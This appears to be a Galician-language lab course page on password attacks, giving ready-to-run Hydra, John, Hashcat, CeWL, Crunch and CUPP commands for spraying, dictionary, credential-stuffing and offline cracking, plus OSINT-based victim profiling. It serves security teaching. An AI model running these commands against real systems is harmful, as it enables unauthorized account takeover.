Ir ao contido

Ataques a contrasinais

De interese

Substitúe sempre <TARGET>, <USER>, <USERLIST>, <WORDLIST>, <COMBOFILE>, <HASHFILE> polos valores do teu laboratorio.

Exemplos por tipo de ataque

  1. Password spraying (baixa taxa por usuario, poucos contrasinais, moitos usuarios)
    # Hydra (SSH)
    hydra -L /labs/users.txt -p 'Password123!' -t 1 ssh://<TARGET>
    
  2. Diccionario (usuario individual)
    # Hydra (SSH)
    hydra -l <USER> -P /labs/wordlists/rockyou.txt ssh://<TARGET>
    
  3. Forza bruta / Mask (formato coñecido) — offline
    # Hashcat (mask)
    hashcat -m <HASH_TYPE> -a 3 /labs/hashes/<HASHFILE> ?l?l?l?l?d?d
    
    # John (incremental)
    john --incremental /labs/hashes/<HASHFILE>
    
  4. Credential stuffing (pares filtrados)
    # Hydra (FTP combos)
    hydra -C /labs/combos/<COMBOFILE> ftp://<TARGET>
    
  5. Form-based web brute (formularios non estándar)
    # Hydra (http-post-form)
    hydra -L /labs/users.txt -P /labs/wordlists/common.txt http-post-form://<TARGET>/login:"username=^USER^&password=^PASS^:Login failed"
    
  6. LDAP / Active Directory (bind attempts)
    # Hydra (LDAP)
    hydra -L /labs/users.txt -P /labs/wordlists/ad_common.txt ldap://<TARGET>
    

Índice

  1. Tipos de ataques comúns
  2. Taxonomía e vectores
  3. Ferramentas e exemplos por tipo/protocolo
    • Hydra, Medusa, Patator (ataques online)
    • John, Hashcat (ataques offline)
  4. Wordlists recomendadas
  5. xeración de wordlists
  6. Créditos e bibliografía

Tipos de ataques comúns

Nesta sección introdúcese a taxonomía dos ataques a contrasinais que se usarán ao longo das prácticas. Para cada tipo indícanse as características principais e os vectores máis comúns.

1. Ataques online (autenticación remota)

Ataques que interactúan directamente co servizo de autenticación (SSH, RDP, FTP, IMAP, SMTP, HTTP forms, LDAP, etc.). Exemplos: forza bruta, diccionario, password spraying, credential stuffing.

Detectables mediante mecanismos de limitación de intentos (limitación de frecuencia de login) e logs de autenticación do sistema.

2. Ataques offline (sobre hashes)

Ataques que operan sobre ficheiros de hashes (obtidos legalmente no laboratorio): dictionary + rules, mask attacks, GPU‑accelerated cracking, rainbow tables.

Non implican interacción co servizo en produción.

3. Ataques por formulación / parsing avanzado

Ataques sobre formularios web non estándar que requiren parseo de respostas (HTML/JSON) e xestión de tokens (CSRF).

Usan ferramentas con capacidades flexibles de extracción de patróns de fallo.

4. Password spraying

Probar poucos contrasinais comúns contra moitos usuarios para evitar bloqueo por conta. Baixa taxa por usuario; útil en entornos con bloqueo agresivo.

Password spraying vs forza bruta

O password spraying consiste en probar poucos contrasinais contra moitos usuarios para evitar bloqueos por intentos fallidos. Se se proban moitos contrasinais contra un só usuario (ou moi poucos), iso xa non é password spraying, senón forza bruta dirixida por usuario.

5. Credential stuffing

Empregar listas de parellas user:pass obtidas doutras exposicións de credenciais para probar acceso en novos servizos. A chave é a reutilización das contrasinais polos usuarios.

6. Ataques específicos de vectores

  • Wi-Fi PSK cracking: captura de handshake + cracking offline.
  • APIs/Token guessing: comprobación de endpoints REST (JWTs, Bearer tokens).
  • IoT / telnet / HTTP embebido: comprobación de credenciais por defecto.

Taxonomía e vectores

Tipo de ataque Vector(s) comúns Ferramentas exemplificativas
Password spraying SSH, RDP, HTTP form, LDAP hydra
Diccionario (online) SSH, FTP, SMTP, HTTP form hydra
Forza bruta (mask) Hashes offline, servizos en liña limitados hashcat, john, hydra
Credential stuffing HTTP, FTP, SSH, APIs hydra, scripts
Offline cracking Ficheiros de hashes john, hashcat, CrackStation
Form-based brute HTTP POST/JSON endpoints hydra

CrackStation

Aínda que CrackStation funciona a través dunha páxina web, segue sendo un método de ataque offline no contexto do pentesting. Isto débese a que o hash se procesa fóra do sistema obxectivo e non se realizan intentos de autenticación contra o servizo real, evitando bloqueos de contas e rexistros sospeitosos.


Ferramentas e exemplos por tipo/protocolo

Convencións:

  • <TARGET>: IP/hostname da VM de laboratorio (ex.: 192.168.56.120)
  • <USER>: usuario individual (ex.: xurxo)
  • <USERLIST>: ficheiro con usuarios (un por liña)
  • <WORDLIST>: ficheiro de contrasinais (ex.: rockyou.txt)
  • <COMBOFILE>: ficheiro user:pass (credential stuffing)
  • <HASHFILE>: ficheiro con hashes para cracking offline

Ataques online — multi-protocolo

SSH (diccionario contra un usuario ou varios usuarios):

  • Hydra:
hydra -l <USER> -P /labs/wordlists/<WORDLIST> -t 4 -s 22 ssh://<TARGET>
hydra -L <USERLIST> -P /labs/wordlists/<WORDLIST> -t 4 -s 22 ssh://<TARGET>

FTP (credential stuffing con combo file user:pass):

  • Hydra:
hydra -C /labs/combos/<COMBOFILE> ftp://<TARGET>

HTTP form (login via POST; especificar string de erro):

  • Hydra:
hydra -L /labs/users.txt -P /labs/wordlists/common.txt \
  http-post-form://<TARGET>/login:"username=^USER^&password=^PASS^:Login failed"

LDAP bind attempts (diccionario):

Que son os LDAP bind attempts?

En LDAP, un bind é unha operación de autenticación utilizada para establecer unha sesión válida co servidor. Polo tanto, un LDAP bind attempt é simplemente un intento de login LDAP. Ferramentas como Hydra realizan ataques de diccionario mediante múltiples bind attempts, probando parellas usuario-contrasinal ata atopar unha válida.

  • Hydra:
hydra -L /labs/users.txt -P /labs/wordlists/ad_common.txt ldap://<TARGET>

Password spraying (exemplo SSH con baixa taxa — mesmo enfoque en varias ferramentas):

  • Hydra:
hydra -L /labs/users.txt -p 'Summer2025!' -t 1 -s 22 ssh://<TARGET>

John the Ripper (offline — diccionario + regras / incremental)

Detección de formatos e listaxe:

john --list=formats

Diccionario + regras para ficheiro de hashes:

john --wordlist=/labs/wordlists/rockyou.txt --rules /labs/hashes/<HASHFILE>

Modo incremental (forza bruta controlada):

john --incremental /labs/hashes/<HASHFILE>

Mostrar contrasinais recuperados:

john --show /labs/hashes/<HASHFILE>

Hashcat (offline GPU/CPU — dictionary, mask, hybrid)

Dictionary attack (NTLM, -m 1000):

hashcat -m 1000 -a 0 /labs/hashes/ntlm.txt /labs/wordlists/rockyou.txt --session=lab_hashcat

Mask attack (exemplo: 2 maiúsculas + 4 letras + 2 díxitos):

hashcat -m 1000 -a 3 /labs/hashes/ntlm.txt ?u?u?l?l?l?l?d?d

Hybrid (wordlist + mask):

hashcat -m 1000 -a 6 /labs/hashes/ntlm.txt /labs/wordlists/rockyou.txt ?d?d

Wordlists recomendadas

De interese

Hacking Articles

Nesta sección recóllense algúns dos dicionarios máis empregados en tarefas de pentesting, auditoría de contrasinais e probas de autenticación. Estas wordlists son útiles tanto para forza bruta como para ataques híbridos, password spraying ou análises máis avanzadas.

1. rockyou

O famoso dicionario rockyou.txt procede dunha das maiores exposicións de contrasinais reais. É un dos máis utilizados debido á variedade e alta prevalencia de patróns que contén.

Ven preinstalada en Kali Linux (comprimida en /usr/share/wordlists/).

Recomendación importante sobre o uso de rockyou.txt

Moitas plataformas de prácticas, como VulnYx, establecen límites para evitar ataques excesivos.
Segundo as súas normas oficiais:

“If brute force is required, do not use a password that exceeds the first 5000 lines of rockyou.txt.”
Fonte: VulnYx Rules

Isto significa que para desafíos educativos ou laboratorios similares, é recomendable empregar as primeiras 5000 liñas ou unha versión filtrada de rockyou.txt para evitar tempos de espera longos e manter prácticas controladas.

gunzip -c /usr/share/wordlists/rockyou.txt.gz > /home/kali/rockyou.txt
head -n 5000 /home/kali/rockyou.txt > /home/kali/5000-rockyou.txt

Ligazóns oficiais


2. Kaonashi

Kaonashi é unha colección masiva e estruturada de wordlists xeradas e compiladas a partir de múltiples fontes públicas. Inclúe listas específicas por idioma, patrón, categoría e uso.

Ligazón oficial


3. SecLists

SecLists é un dos repositorios máis completos para probas de seguridade. Inclúe listas para:

  • Usuarios e contrasinais
  • Directorios e rutas web
  • Payloads
  • Nombres de hosts
  • Fuzzing
  • Ataques comúns

É un estándar de facto en pentesting e forma parte da instalación por defecto de moitas distros orientadas a seguridade.

Ligazón oficial


4. Wordlists de Kali Linux (/usr/share/wordlists)

Kali Linux inclúe unha colección ampla de wordlists preinstaladas no directorio:

/usr/share/wordlists

Aquí atoparás:

  • rockyou.txt (comprimido por defecto)
  • SecLists (opcional mediante apt install seclists)
  • Listas para WFuzz, Dirbuster e máis ferramentas
  • Dicionarios temáticos para IEEE, ciberseguridade, linguas, etc.

Ligazón oficial

Wordlist Tamaño aproximado Uso recomendado Vantaxes Inconvenientes
rockyou.txt ~14M entradas Ataques rápidos, probas comúns Alto éxito en contrasinais reais Moitas entradas redundantes
Kaonashi moi grande (centos de MB/GB) Ataques máis profundos, auditorías profesionais Estruturado por categorías Pode ser excesivo para prácticas
SecLists variable Web, redes, fuzzing, AD Colección máis completa Require saber que lista usar
/usr/share/wordlists variable Ataques rápidos en Kali Wordlists dispoñibles de inmediato Pode faltar variedade avanzada

Boas prácticas ao empregar wordlists

  • Usa versións curtas cando esteas probando servizos sensibles a bloqueo (SSH, RDP, VPN).
  • Comeza sempre con rockyou filtrado, xa que adoita ofrecer un bo equilibrio entre velocidade e efectividade.
  • Para auditorías completas, combina SecLists + Kaonashi para cubrir máis casos reais.
  • Lembra que wordlists enormes poden ser lentas en ferramentas como Hydra ou Medusa; para Hashcat e John adoitan rendir mellor.

Xeración de Wordlists

De interese

Hacking Articles

En moitas ocasións, as wordlists xenéricas non son suficientes para comprometer contrasinais específicas dun obxectivo. A xeración de wordlists personalizadas permite crear dicionarios adaptados ao contexto da vítima, aumentando significativamente as probabilidades de éxito.

1. CeWL (Custom Word List generator)

Instalación e execución en Kali Linux

CeWL ven preinstalado en Kali Linux e pode executarse directamente desde a terminal:

cewl --help

CeWL é unha ferramenta que extrae palabras de sitios web para crear wordlists personalizadas. É especialmente útil cando se busca información específica do obxectivo (nomes de produtos, terminoloxía da empresa, etc.).

Características principais:

  • Extrae palabras de páxinas web mediante spidering
  • Admite configuración de profundidade de rastrexo
  • Pode seguir ligazóns externas
  • Permite establecer lonxitude mínima/máxima de palabras
  • Admite autenticación básica e digest

Exemplos de uso:

Extracción básica dunha web:

cewl http://<TARGET> -w /labs/wordlists/custom_wordlist.txt

Extracción con profundidade e lonxitude mínima:

cewl http://<TARGET> -d 3 -m 6 -w /labs/wordlists/custom_deep.txt
# -d 3: profundidade de 3 niveis
# -m 6: palabras de mínimo 6 caracteres

Extracción con autenticación:

cewl http://<TARGET>/admin -u admin -p password123 -w /labs/wordlists/admin_words.txt

Extraer emails ademais de palabras:

cewl http://<TARGET> -e -w /labs/wordlists/words.txt -n /labs/wordlists/emails.txt
# -e: activa extracción de emails
# -n: ficheiro para gardar emails

Seguir ligazóns externas:

cewl http://<TARGET> -o -d 2 -w /labs/wordlists/external.txt
# -o: seguir ligazóns externas

Boas prácticas con CeWL

  • Combina CeWL con regras de John the Ripper ou Hashcat para xerar variantes
  • Usa -m 8 para filtrar palabras curtas e reducir o tamaño da wordlist
  • Para sitios grandes, limita a profundidade (-d 2 ou -d 3) para evitar listas excesivamente longas

2. Crunch (Pattern-based wordlist generator)

Instalación e execución en Kali Linux

Crunch ven preinstalado en Kali Linux e pode executarse directamente desde a terminal:

crunch --help

Crunch é unha ferramenta para xerar wordlists baseadas en patróns específicos. É ideal cando coñeces a estrutura ou formato do contrasinal obxectivo.

Características principais:

  • Xera wordlists con lonxitude específica
  • Admite patróns personalizados con caracteres especiais
  • Permite especificar conxuntos de caracteres (maiúsculas, minúsculas, números, símbolos)
  • Pode xerar listas enormes (varios GB) directamente ou mediante pipe

Sintaxe básica:

crunch <min> <max> [charset] -o <outputfile>

Exemplos de uso:

Xerar wordlist de 4 a 6 caracteres (minúsculas):

crunch 4 6 -o /labs/wordlists/crunch_4-6.txt

Xerar wordlist só con números (PINs de 4 díxitos):

crunch 4 4 0123456789 -o /labs/wordlists/pins.txt

Usar patrón específico (2 letras + 4 números):

crunch 6 6 -t @@%%%% -o /labs/wordlists/pattern.txt
# @: minúscula
# ,: maiúscula
# %: número
# ^: símbolo

Xerar variantes dunha palabra base:

crunch 8 8 -t Password@% -o /labs/wordlists/password_variants.txt
# Xerará: Password@0, Password@1, ..., Password@9

Usar charset personalizado:

crunch 6 8 abc123!@# -o /labs/wordlists/custom_charset.txt

Xerar e enviar directamente a unha ferramenta (sen crear ficheiro):

hydra -l admin -P <(crunch 4 6) ssh://<TARGET> -t 4 -w 1

Limitar o tamaño do ficheiro de saída:

crunch 6 8 -b 100mb -o /labs/wordlists/crunch_split
# Divide en ficheiros de 100MB

Avisos importantes sobre Crunch

  • As wordlists poden ser ENORMES. Por exemplo, crunch 8 8 con alfanuméricos xera centos de GB.
  • Sempre estima o tamaño antes usando a opción -c (count) sen -o:
    crunch 8 8 -c 1000
    
  • Considera usar pipes para evitar crear ficheiros masivos no disco.

3. CUPP (Common User Passwords Profiler)

Instalación e execución en Kali Linux

CUPP require instalación manual mediante git:

cd /opt
sudo git clone https://github.com/Mebus/cupp.git
cd cupp
python3 cupp.py -h

Para crear alias permanente e facilitar o uso:

echo "alias cupp='python3 /opt/cupp/cupp.py'" >> ~/.zshrc
source ~/.zshrc

CUPP é unha ferramenta interactiva que xera wordlists personalizadas baseándose en información persoal da vítima (nome, data de nacemento, mascota, etc.). É moi efectiva en ataques de enxeñería social e contextos onde os usuarios empregan información persoal nas súas contrasinais.

Características principais:

  • Modo interactivo con preguntas guiadas
  • Xera variantes automáticas (maiúsculas, números ao final, etc.)
  • Admite modo non interactivo con ficheiros de configuración
  • Pode descargar wordlists comúns desde internet

Exemplos de uso:

Modo interactivo (recomendado para principiantes):

cupp -i
# Responde as preguntas sobre a vítima:
# - Nome, apelidos
# - Mascota
# - Data de nacemento
# - Palabras clave
# - Etc.

Descargar wordlists comúns de referencia:

cupp -l
# Descarga listas de nomes comúns, lugares, etc.

Xerar wordlist desde ficheiro de configuración:

cupp -w <configfile>

Exemplo de perfil persoal (información recollida):

Supoñamos que sabemos o seguinte dunha vítima:
- Nome: María
- Apelidos: González López
- Mascota: Luna
- Data de nacemento: 15/03/1985
- Hobby: tenis

CUPP xerará variantes como:

maria1985
mariagonzalez
MariaTenis!
Luna2024
gonzalez15
maria@luna

Información útil para CUPP

Recollendo información de OSINT (redes sociais, LinkedIn, blogs persoais) pódese obter datos moi útiles:
- Nomes de familiares e mascotas
- Datas relevantes (aniversarios, graduacións)
- Equipos deportivos favoritos
- Lugares visitados
- Hobbies e intereses


Táboa comparativa de ferramentas

Ferramenta Tipo de xeración Mellor uso Vantaxes Inconvenientes
CeWL Extracción web Recoller vocabulario do obxectivo Personalización alta Dependente da calidade do sitio
Crunch Patróns e combinacións Contrasinais con estrutura coñecida Flexible, rápida Pode xerar ficheiros masivos
CUPP Perfil de vítima Enxeñería social Moi efectiva con OSINT Require información previa

Workflow recomendado para xeración de wordlists

  1. OSINT e recopilación: Identifica información sobre o obxectivo (nomes, datas, intereses, páxinas web).
  2. Extracción con CeWL: Xera unha wordlist base desde o sitio web do obxectivo.
  3. Perfilado con CUPP: Crea variantes baseadas en información persoal (se dispoñible).
  4. Patróns con Crunch: Se coñeces a estrutura do contrasinal (ex: 2 letras + 4 números), xera combinacións específicas.
  5. Combinacións con Pydictor: Combina palabras base con regras avanzadas, datas, sufixos comúns, etc.
  6. Optimización final: Elimina duplicados e ordea por probabilidade:
    sort -u wordlist.txt -o wordlist_unique.txt
    

Exemplo práctico completo

Supoñamos que estamos auditando unha empresa chamada TechCorp e identificamos un usuario chamado xan.perez cunha mascota chamada Max e data de nacemento 1990.

# Paso 1: Extraer palabras da web da empresa
cewl https://techcorp.com -d 2 -m 6 -w /tmp/techcorp_words.txt

# Paso 2: Xerar perfil con CUPP (saída: xan.txt)
cupp -i
# Nome: Xan
# Apelidos: Perez
# Mascota: Max
# Ano nacemento: 1990
# (saída: xan.txt)

# Paso 3: Xerar sufixos numéricos con Crunch
crunch 1 4 0123456789 -o /tmp/numbers.txt

# Paso 4: Combinar palabras base (CeWL + CUPP) con sufixos numéricos (Crunch)
while read word; do
  while read suf; do
    echo "${word}${suf}"
  done < /tmp/numbers.txt
done < <(cat /tmp/techcorp_words.txt xan.txt) > /tmp/final_wordlist.txt

# Paso 5: Eliminar duplicados e xerar o dicionario final
sort -u /tmp/final_wordlist.txt -o /labs/wordlists/techcorp_audit.txt

# Paso 6: Probar o dicionario contra SSH con Hydra
hydra -l xan.perez -P /labs/wordlists/techcorp_audit.txt ssh://<TARGET>

Créditos e bibliografía